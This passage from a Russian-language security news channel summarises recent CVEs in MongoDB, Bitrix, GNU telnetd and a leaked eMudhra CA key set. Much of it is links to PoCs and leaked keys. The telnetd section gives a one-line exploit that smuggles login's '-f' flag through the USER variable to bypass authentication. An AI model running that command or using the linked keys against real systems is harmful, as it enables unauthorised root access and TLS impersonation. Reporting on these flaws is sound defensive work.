▪️ Статья-обзор
▪️ github.com/raminfp/redis_exploit


🐰 MongoBleed / MongoDB Unauth Memory Leak
ℹ️ CVE-2025-14847

Отправка специальных сообщений с увеличенными значениями длины, чтобы сервер выделил побольше памяти (верит на слово, несмотря на размер после разжатия) + без \0, чтобы не заканчивал читать➡️утечка памяти в ответе;

▪️ Статья-обзор
▪️ PoC, опубликованный на Рождество исследователями из Elastic


🐭 1C-Bitrix / Bitrix24 Translate Auth RCE
ℹ CVE-2025-67886 / CVE-2025-67887 (???)

Содержимое архивов, загружаемых в модуль, недостаточно проверялось: возможно добавление специального .htaccess + PHP-файла с web shell➡Auth RCE;

Но есть нюанс — "Auth" серьёзный, по сути административный😊 А был ли мальчик?

▪ karmainsecurity.com/KIS-2025-07
▪ karmainsecurity.com/KIS-2025-08


➡️Stay safe!

   @HaHacking  🐇 [🍬]

📠 #события #infrastructure #ad #offense

➡️Снова критические уязвимости! ⚡️

В этот раз: обход аутентификации➡️сразу к root! С публичным PoC➕использованием в природе;

CVE-2026-24061 — CVSS (v3) ~9.8, Improper Neutralization of Argument Delimiters in a Command / Argument Injection➡️Authentication Bypass в telnetd: появилась тут и была с нами 10+ лет (GNU InetUtils v1.9.3 – v2.7 / 2015 – 2025 гг.);


1️⃣ В v1.9.3 добавили возможность подставить username из переменной окружения USER, чтобы починить автовход для случаев, когда не была доступна аутентификация Kerberos.

Сервер telnetd обращается к /usr/bin/login (обычно работает из-под root)➕передаёт ему значения для входа, в том числе и USER – вместо %U:

...
char *login_invocation =
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
...

...
    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
...

2️⃣ У /usr/bin/login есть флаг -f — пропустить аутентификацию! (например, для автовхода getty)

Ему даже можно передать username / UID пользователя: login [-p] [-s shell] [-h host] [-H] [[-f] username|UID]; // Например, root 🐇


3️⃣ Значение USER не нормализуется; Возможно поместить туда дополнительные флаги для /usr/bin/login➕попросить telnet провести автовход (флаги -a / --login):

USER='-f qwqoro' telnet -a 127.0.0.1‌‎ ‎ ‎ ‎ ‎ 

🔖 seclists.org/oss-sec/2026/q1/89
🔖 safebreach.com/...-cve-2026-24061
💻 github.com/SafeBreach-Labs/CVE-2026-24061
📦 github.com/leonjza/inetutils-telnetd-auth-bypass
🛜 shodan.io/search?query=product:"telnetd"


   @HaHacking  🐇

📄 #web #infrastructure #события #заметки

➡️На днях произошла утечка приватных ключей промежуточного CA eMudhra: они были связаны с корневыми CA, которым доверяют Mozilla, Microsoft, Apple, Chrome➕их ключи вшиты во множество trust-store'ов;

// В случае Go назвали CVE-2026-111943, в случае Mozilla – CVE-2026-113470;


💉Обзоры➕ключи:

   🧩   ‟eMudhra Intermediate CA Compromise”
   🧩   Fluepke/emudrahahahahaha
   🧩   gist.github.com/Fluepke/9a10...2f48
   🧩   gist.github.com/AGWA/5a78...9458
   🧩   gist.github.com/UlisesGascon/10ed...3e02

💉Обсуждения➕суета:

➖groups.google.com/a/mozilla.org/g/dev-security-policy/c/0R3XLJL6FuE/m/0XofdebrAAAJ
➖bugzilla.mozilla.org/show_bug.cgi?id=2083449
➖news.ycombinator.com/item?id=50160877

💉Блокировки:

➖github.com/golang/go/issues/82345
➖github.com/electron/electron/commit/e022...0499
➖github.com/rustls/webpki/pull/546
➖github.com/nodejs/node/pull/66871
➖github.com/certifi/python-certifi/pull/437
➖. . .


💉Проверить клиент:

curl https://dv-g3b-emudhra.we-have-a-problem.com
curl https://dv-g3b-aaa-emudhra.we-have-a-problem.com

💉SHA-256 для каждого ключа:

43bffa19d6ef651451f6841e019931e96f6f2eaeff28ab4b6f1ce4576de2717b
49dd353dc2b919a3770645117d0e60c16115e7d1bc259eefe734b00ea434fe5f
5c0660a2b164910d8ff589c18e14552e9e0ec237dcefe2cb736d41a4811f81a0
63ecefee431d49523bc1136c4e72d0206a477086caf606cd5cf025686c109cf8
92c063d67e8f14db71d288e11266ffdaf69cbf115f7bab14f3bc2f68d25e0e30
e0254c7fcdc265e2f0f8a428dabb75ab4ae039b4872d62f5ee57f0877d5a8a41
ebed6475c2c2d80fcb199f3fe8dd6e6b3ce60b77eb15d4e42c3dec0c6f5b5105
ec4ffa1ad0ac88081314b7aaffef6a91f97cd57291bb5ba686c5415f5eb4f6b6

➡️Один из приватных ключей (D, private exponent) = 4;

EM OV TLS CA - G3C  4
EM EV TLS CA - G3C  56
EM DV TLS CA - G3C  230
EM OV CS  CA - G3C  237
EM EV TLS CA - G3B  115
EM OV TLS CA - G3B  155
EM DV TLS CA - G3B  156
EM OV CS  CA - G3B  66

   @HaHacking  🐇